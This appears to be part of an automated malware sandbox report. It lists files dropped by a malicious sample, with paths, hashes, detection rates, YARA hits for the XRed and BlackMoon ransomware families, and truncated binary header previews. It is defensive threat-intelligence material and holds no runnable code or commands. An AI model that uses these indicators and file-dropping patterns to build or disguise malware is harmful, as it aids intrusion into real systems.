Encrypted:	false
SSDEEP:	6144:rSQlcOmBAD7fxrVyqVENIxKMFpeJ0LgRtcRtd:W+n6Ax0WuSKM360URtq
MD5:	60187C5081DF7F3EE20C834C6E1BEA1D
SHA1:	50CE14D15FDB27E8E98B1CA43AF3C2C45B3A81B2
SHA-256:	7C00A8190DD048B43DEB36E99E52864DE4DC25211993426CBA32891F8F8824B2
SHA-512:	925D2E52ED3968E5CE6570394D2B7D7003AD67CDF5AF7D9CEC9E60121AABC44733AC7A00811D242E96F035CCF3442812A83986E6CF809FE643634C50ADE707F3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?...^...^...^......^...}...^..}.,..^...&9..^...&)..^...^..K\..../..^....9.k^....>.Y^....0..^....(..^.......^....+..^..Rich.^..................PE..L...<F.f...........!.........6......Hs..............................................Ij....@..........................I..4....g..\|........7......................\|...,...................................@...............$... ...@....................text............................... ..`.rdata..t+..........................@..@.data...............................@....vvvt0..............................`..`.vvvt1...{...@...\|..................`....reloc..\|...........................@..@.rsrc....7..........................@..@........................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\ED5E0B401A7\FB0C75zus.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	278528
Entropy (8bit):	6.462799085037293
Encrypted:	false
SSDEEP:	6144:qy8Rmc6sJdYFZY4yRc7979wypicS7UItAvl:clsYfu79pwypi949
MD5:	11D29986E22E3033FAD22362D5BB9B9E
SHA1:	2CE91BCAE7EA963FFDA9A797D4405AB87F2C77CD
SHA-256:	0D518D5120378DE44E8157A8F83F8AAF5BEB71A45BBF73C913F71E4BC9DCCEEB
SHA-512:	70D6C30DCB3F52E45F2C5E4859BD1238CB17DB56616E8A6A75942C92300365DE271D9FDE54F14822E0287D8A547E4523B42BB2F648491EB9C83ACFA2F734AAE8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e....................3........3......3..........%.......3....3....3....3....Rich............PE..L...!r.T...........!.........H...............0............................................@.........................P................0..0....................P...,..................................py..@............0...............................text............................... ..`.rdata.......0......................@..@.data....E.......$..................@....rsrc...0....0......................@..@.reloc..NB...P...D..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\FEE303F91\E9A1EEE73.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	697344
Entropy (8bit):	7.987740216318556
Encrypted:	false
SSDEEP:	12288:ZJOpSSP/ct8PFEWQ6dLBOCRf747xLwV3bgJx6I2jnkP:MJPkEi9g47xsV32n2L
MD5:	635EA65C178C0AF1337A0D9BA23B9880
SHA1:	F0A9C2D5F8BCCDA8199FF48CD00DDD1F44D9C8A9
SHA-256:	382D06362E60A6FC7E4E7BF02C43B3B9243F74FB2463C62D9AC386E4E26F25A1
SHA-512:	F19D2DD5A824D042C469A09FA04D8D94722CAE97E2E3B7FC6F15D86333E49BB1C57B6B2246F26E753C22BCCBEF28BCE6E5C14D9471170A2193F7DB5955E1C9BE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....!xY............................. ...........@..........................P ............................................../ ......P......................T/ ......................................................................................text....p..........................@....itext... ..........................@....data............:..................@....bss.....`...0......................@....idata...@..........................@....didata.............................@....edata..............................@....reloc...`.......(... ..............@....rsrc........P...F...H..............@....aspack.. ... .....................@....adata.......@ .....................@...........................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2696704
Entropy (8bit):	7.20364010126324
Encrypted:	false
SSDEEP:	49152:tnsHyjtk2MYC5GDU5PAuMpNUUNkjdnVbhcuVY3rMEl3qBk0cSw14/nQLh6ZP:tnsmtk2aJ5PxMnPNkjrlY3bl6Bk0cV1U
MD5:	9D0DCFD90996015AEF5B6FEE48F1B4DB
SHA1:	B39EE2837752F562868DAE30D9F67682604C6E2F
SHA-256:	D8850BEB9126297C496D4C02D215656147EDB04154B08A960D2A6E0B4D266004
SHA-512:	ED314D36AB8D7836C08567627DBFE170EC0E5E1AAC4E3BD53C86934AF70E5CC67E19E41A638DAAB3B21692CE865C49B760338A20C1226FB1D3C8B64EF83C9E9A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@...........................)..................@..............................B......0}...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0}.......~..................@..P....................................@..P........................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\BA459E441E\31884z1x0.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	614400
Entropy (8bit):	7.9216008760747325
Encrypted:	false
SSDEEP:	12288:v39HfzCgZ1UpcBLioopeCTKtYF3ECT9IhYWaTy94yVOvV3m3:vtLCcUpQmomea9F3B+XY2Ohm3
MD5:	1CD5B851B0AC196F36DF69B82DDD475E
SHA1:	A8831A73E9FB0FE78B110681F13300A56898680A
SHA-256:	23A842D3EE1B7724999BE5C8676BE999294D63B9BB94492E6BB4C0FB1A0D1402
SHA-512:	650053FFF05DF29976AF65347A5C9850B52186E0847BA2A7A05E3662E5CD607BDA5CA8B7290FFC56F6B786FE337FD8C48CCA8B953482C0C54AED5C1C041EC690
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............n...n...n...q..n...q..n...r..n...a...n..Xr...n..Xf...n...H.bn..3q..n...H...n...n..Bl...a...n...H.an...n...n..3q..n..3q...n..Rich.n..........PE..L.....\...........!.........`......^........................................0!........................................d.................................... !....................................................... ..............................text....\|.......................... ..`.rdata..............................@..@.data...q.... ......................@....vmp0...Y...........................`..`.vmp1....4.......@..................`....reloc....... !......P..............@..B........................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\D47A8EF7C6\E9BEcVYUT.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.397635444561731
Encrypted:	false
SSDEEP:	192:/o5r2+6acxUj33TwlsXsDonjrWgncCMxOR3XkEqbp9K6ydDrjf9:A5Otx8HTweXssvWtxOt0L71yRrZ
MD5:	6D4F24374636A1D2B18D23508E94A5AF
SHA1:	6056E57026F5106BE7448650A711088F7F26B81B
SHA-256:	1001BED009D07EFADF0A1784CB07E79A362EAA4CDE62C43E8EC226B210E1388E
SHA-512:	3013651D862D731746A238AB729023506E65C7A8DE2E9967482B7356923296581C7F004B604D560DECB0B5FD32FAB3087DF7C4528C3EE1C6BC75C4E3A7D621FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........n..T...T...T...s..P....@..U...J]..U...J]..Z...J]..]...J]..Q...T...>...J]..V...J]..U...J]..U...J]..U...RichT...........................PE..L....8.\...........!................"........0...............................p............@......................... =..5...<8..P....P..,....................`..t....1...............................3..@............0...............................text............................... ..`.rdata..U....0......................@..@.data........@.......$..............@....rsrc...,....P.......&..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2482176
Entropy (8bit):	7.655801729535385
Encrypted:	false
SSDEEP:	49152:vdt5TgZvBnBS7YWtu4uEiWaitbURcdltQ+LPfzgPKJdqL0B2eYL7YuPqpu0RKnX7:X5TgZvBnBS7YWtu4uEiWaitbURcdltQZ
MD5:	ED77B38E6DEACCC15EE7A3CDE313BF37
SHA1:	F9D6E7CA545790F385F35069230C153E38D84FF1
SHA-256:	2A7469FE77A4659592FE7E2C36D32343B3C8E728BB52EAEDA0CAE03BC74EAAB5
SHA-512:	594CA225AF6AB65688A2D891198B34D426B55F7B6CF55D366408D42DCC97B0E3A682D033F382CCE165D5DDE18381B88040F73BDC3D0C314E0C4D12AE32A09601
Malicious:	true
Yara Hits:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 85%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|...8...8...8...W...1...W...>...C...;.......0.............:..............:...........8.............8...9.......".......9...Rich8...........PE..L....o]...........!.........P......a..............E..........................(......................................A..K....$..,.............................(.D[......................................................T............................text...^........................... ..`.rdata..Ka.......p..................@..@.data........P.......P..............@....vmp0...13...P...@...@..............`..`.reloc..D[....(..`....%.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\DD0741\BEE1D5y1w.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	614400
Entropy (8bit):	7.9216008760747325
Encrypted:	false
SSDEEP:	12288:v39HfzCgZ1UpcBLioopeCTKtYF3ECT9IhYWaTy94yVOvV3m3:vtLCcUpQmomea9F3B+XY2Ohm3
MD5:	1CD5B851B0AC196F36DF69B82DDD475E
SHA1:	A8831A73E9FB0FE78B110681F13300A56898680A
SHA-256:	23A842D3EE1B7724999BE5C8676BE999294D63B9BB94492E6BB4C0FB1A0D1402
SHA-512:	650053FFF05DF29976AF65347A5C9850B52186E0847BA2A7A05E3662E5CD607BDA5CA8B7290FFC56F6B786FE337FD8C48CCA8B953482C0C54AED5C1C041EC690
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............n...n...n...q..n...q..n...r..n...a...n..Xr...n..Xf...n...H.bn..3q..n...H...n...n..Bl...a...n...H.an...n...n..3q..n..3q...n..Rich.n..........PE..L.....\...........!.........`......^........................................0!........................................d.................................... !....................................................... ..............................text....\|.......................... ..`.rdata..............................@..@.data...q.... ......................@....vmp0...Y...........................`..`.vmp1....4.......@..................`....reloc....... !......P..............@..B........................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\E25D128D

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.474076293498785
Encrypted:	false
SSDEEP:	12:Qhxnaficms7BkOshMhfEomARB0xgMhwLvW21aXqHVGYB+Urf+cshM0BpART:Qnafi07SOshMhf1mARB0xgMhMW2UqHLX
MD5:	29BFF5C2A6643B7B7ED4147630B13A35
SHA1:	4167EAF08DE613A6745554010B250BC600018EBD
SHA-256:	E45310301EA37DC4775A450FDBB4F34A2052D779B2216A49DE7503904DABA114
SHA-512:	8B4FAC3A01D5E32D72A0F6A23CF6B67B3DC693707E578067DC0145E86C8B13DE0EADF46333264B63AC5D551A1A3D69823CCDAFDE5EDBD60A92B4FD696FC0BC78
Malicious:	false
Preview:	g`o.TisfagIq~a {qc..............X"".STrNFNyMM.\HB12-456189:5<=>9@AB=.EFA0"....`;1#RMTUVQXYZU\]^Y`ab]defafije...6......._...u\|}~y...}............................................................................................................$.......8rj.*wgs........................a..,.VN[.[KW,-.)012-456189:5<=>9HAB=."#$;!0k>,<IPQRMTUVQXYZU\]^Y`ab]aefa)......G...mtuvqxyzu\|}~y...}...........................................................................

C:\Users\user\Desktop\I4F64A1117\I2DF4C05\2537POKDF.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	200704
Entropy (8bit):	7.840036180451055
Encrypted:	false
SSDEEP:	3072:DtWru7tGhV0AD1Lciipl4gseTwdDV5PEv4gtJDxbs29mHzsKl5eUMfSrxrO:0ru7tGcJLqgseTMV9ivFsZ2XSM
MD5:	A366501F2CE6ABA81384C2688AF599C1
SHA1:	2A3A109CCFFCE9F1245B328E521120AC2FBFF66B
SHA-256:	233D8F1CB06995B505F4CECBAFE0DD53635BF820002C512639DD5A0B87827086
SHA-512:	4FA0E0BB6396ED2D8DB837EE010CD647DE4799AE9C111DB056EB7E0DC02D0D3BE936BDCD8342923DE359415890D9602BA0DEC20ED1111D68BAC5D38C2DDDB142
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................D.............=......<................9..........Rich...........PE..L......`...........!.........:...........................................................@.................................h1..d............................p......,f...............................e..@...............4............................text...v........................... ..`.rdata...K..........................@..@.data...H...........................@....vmp0....j..........................`....vmp1........`......................`....reloc.......p......................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\IC58E279CB8\72F551y12.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.397635444561731
Encrypted:	false
SSDEEP:	192:/o5r2+6acxUj33TwlsXsDonjrWgncCMxOR3XkEqbp9K6ydDrjf9:A5Otx8HTweXssvWtxOt0L71yRrZ
MD5:	6D4F24374636A1D2B18D23508E94A5AF
SHA1:	6056E57026F5106BE7448650A711088F7F26B81B
SHA-256:	1001BED009D07EFADF0A1784CB07E79A362EAA4CDE62C43E8EC226B210E1388E
SHA-512:	3013651D862D731746A238AB729023506E65C7A8DE2E9967482B7356923296581C7F004B604D560DECB0B5FD32FAB3087DF7C4528C3EE1C6BC75C4E3A7D621FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........n..T...T...T...s..P....@..U...J]..U...J]..Z...J]..]...J]..Q...T...>...J]..V...J]..U...J]..U...J]..U...RichT...........................PE..L....8.\...........!................"........0...............................p............@......................... =..5...<8..P....P..,....................`..t....1...............................3..@............0...............................text............................... ..`.rdata..U....0......................@..@.data........@.......$..............@....rsrc...,....P.......&..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\J3E76662C\4858pmjcZ.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.397635444561731
Encrypted:	false
SSDEEP:	192:/o5r2+6acxUj33TwlsXsDonjrWgncCMxOR3XkEqbp9K6ydDrjf9:A5Otx8HTweXssvWtxOt0L71yRrZ
MD5:	6D4F24374636A1D2B18D23508E94A5AF
SHA1:	6056E57026F5106BE7448650A711088F7F26B81B
SHA-256:	1001BED009D07EFADF0A1784CB07E79A362EAA4CDE62C43E8EC226B210E1388E
SHA-512:	3013651D862D731746A238AB729023506E65C7A8DE2E9967482B7356923296581C7F004B604D560DECB0B5FD32FAB3087DF7C4528C3EE1C6BC75C4E3A7D621FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........n..T...T...T...s..P....@..U...J]..U...J]..Z...J]..]...J]..Q...T...>...J]..V...J]..U...J]..U...J]..U...RichT...........................PE..L....8.\...........!................"........0...............................p............@......................... =..5...<8..P....P..,....................`..t....1...............................3..@............0...............................text............................... ..`.rdata..U....0......................@..@.data........@.......$..............@....rsrc...,....P.......&..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\CZQKSDDMWR\GLTYDMDUST.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\CZQKSDDMWR\~$GLTYDMDUST.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.7769794087092887
Encrypted:	false
SSDEEP:	3:iXKG/4N+RMlW8td:iXlMlW8/
MD5:	37BD8218D560948827D3B948CAFA579C
SHA1:	24347FB0A66F2DA8AD3BAB818E3C24977104E5DA
SHA-256:	189E2D5600E0CC41F498D2EB22FA451F81746DCDBAA3EC1146A22C3A74452DA6
SHA-512:	A34D703FEBFD9E45A57BF047D9CCF890482B0F7CD3788F9BFD89DECA13B96DD4F43BDB0C4D81CC716DEAC37BCD1C393A7BCB159B471B5721B367E4884B17C699
Malicious:	false
Preview:	.user ..f.r.o.n.t.d.e.s.k. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\CZQKSDDMWR\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.641572080573123
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9I3Rr:ansJ39LyjbJkQFMhmC+6GD9ch
MD5:	B18C94884CC98C89024034F707824909
SHA1:	FAD0F34E7FFC05827A87DC1F7AE9A99D68140581
SHA-256:	D30D0F2A6991276E8203B5849F0DF86FA48FC9D56610A75ECDAE9D5551CD79D7
SHA-512:	5D7F2F2C6F6A232B760D25803C7ED44A21DE144F237466C62C5EE4F885FE572A973ECFDA3BFC7E83120B81D7546A69009CC820E504F7E31399D7437B3C025DD9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\C2485384.sys

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1318104
Entropy (8bit):	7.860428929121196
Encrypted:	false
SSDEEP:	24576:zkSmotksq0AeBsLzlvfz02FaBj/EIR/SFVB+wSQ3jqE0srpa+UJO:zoIO0AeCLzlvQPj/EIR0Hj3jq6rk+WO
MD5:	8F97B9BD9A7B721085B5D70C54D899EE
SHA1:	317D445C103EE2013EE5231744F9FE3AEE602405
SHA-256:	6E12255C4E5FFC3C02A2A8FC9F64D8539F68365D6F6B0B04BC07902EFBF476AF
SHA-512:	FC80130CC89639BA51318A43C417F1396D13837E1293A50861552743E2CAC08892000F2F8F4A8CA69F9C45F06AC6F8E07E281EA99E1ABFD170CED9D12D312F5E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~......~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&.................@...................................m.....`.....................................................P...............,.................................................................).0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0...............................`..h.vvd1...............................`....reloc.............................@..B........................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	2464
Entropy (8bit):	3.2442822490377154
Encrypted:	false
SSDEEP:	24:QOaqdmuF3rX+kWReHgHttUKlDENh+pyMySn6tUKlDENh+pyMySwwIPVxcwIPVxwL:FaqdF7X+AAHdKoqKFxcxkFH
MD5:	A419BFDB53C25435B0AED93CAB73A2CD
SHA1:	A67A23B40B7DECB7428759C12839E2FC57FDADFD
SHA-256:	82F79DBB32D178BB5308BAB42D1DB1BE6B774418F4E56E583B78F8C7DD2E78C8
SHA-512:	7B6AC6F1115052D8469C45832C0204456539E804F5E1FF2BF889E10856D8E7E136EB87BF4C6874F191D94A6C47D3C42368BCE03D22CEDD1D0DC1F56F6EF017CC
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. M.o.n. .. A.u.g. .. 0.5. .. 2.0.2.4. .0.7.:.2.2.:.5.0.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

C:\Windows\SysWOW64\7361p1CQa.sys

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1318104
Entropy (8bit):	7.860428929121196
Encrypted:	false
SSDEEP:	24576:zkSmotksq0AeBsLzlvfz02FaBj/EIR/SFVB+wSQ3jqE0srpa+UJO:zoIO0AeCLzlvQPj/EIR0Hj3jq6rk+WO
MD5:	8F97B9BD9A7B721085B5D70C54D899EE
SHA1:	317D445C103EE2013EE5231744F9FE3AEE602405
SHA-256:	6E12255C4E5FFC3C02A2A8FC9F64D8539F68365D6F6B0B04BC07902EFBF476AF
SHA-512:	FC80130CC89639BA51318A43C417F1396D13837E1293A50861552743E2CAC08892000F2F8F4A8CA69F9C45F06AC6F8E07E281EA99E1ABFD170CED9D12D312F5E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~......~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&.................@...................................m.....`.....................................................P...............,.................................................................).0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0...............................`..h.vvd1...............................`....reloc.............................@..B........................................................................................................................................................................................

C:\Windows\SysWOW64\A0A461yPs.sys

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1287368
Entropy (8bit):	7.869849775817759
Encrypted:	false
SSDEEP:	24576:Vl/7W2RBmUJ7OL6RKzPA6zkWfdGV8Kwl13af2k5kw11iuP2X6:Vl/7FRjRKzeYg8K0aeVwGup
MD5:	D44EECCC25CCC148F30999C2EE987A7E
SHA1:	48EAE8C7428B16115DA3174AC5B9B8C51B05624E
SHA-256:	413B1F949E09A6118AD1BF385B2B0E4AF7090D9F4C8C314CFCB0EFDF801F11EF
SHA-512:	2253E2FBF9CF4BD517E888F5AC0C276D541E1D6785BC5ED962BDF5A0BC89251DBA8F142FB5D0EEE9E764211E8258BFBEE1A6716AC174AA980F228F8198579442
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~....*..~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&.......'........@..............................)...........`.....................................................P...............,....~...&....).$.....).............................H.)..............p..0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0....F..........................`..h.vvd1...4w...@...x..................`....reloc..$.....)......\|..............@..B........................................................................................................................................................................................

C:\Windows\SysWOW64\A0E0ohaVQ.sys

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1236216
Entropy (8bit):	7.878802664299772
Encrypted:	false
SSDEEP:	24576:Mh6aU2kD0Z3gVP5E5ChC0f7WPdga4jWCW5dS7vBRI+Jm+XPXvlgDa:46aU2RZg95Egvub5U7v/JmmX9P
MD5:	2F5D1CF6E7AD1BB74BDC5951616663D1
SHA1:	0D4A2303AFF8B29C82AD9CCC02CFAE40D6C9B435
SHA-256:	4D408A5C4440878B4C390F4AE9D2FD720B5E0B742DD625382F37851DA7A11E84
SHA-512:	9785A2F9B5D7DCEDCFE7B29C9324E9ADCBD85466BE8E2F3E54EE51947362A2AD5D021532AAB84E9F29C1950ABBA02D13BEA7089B838A70C968860E8DBEEE8D12
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
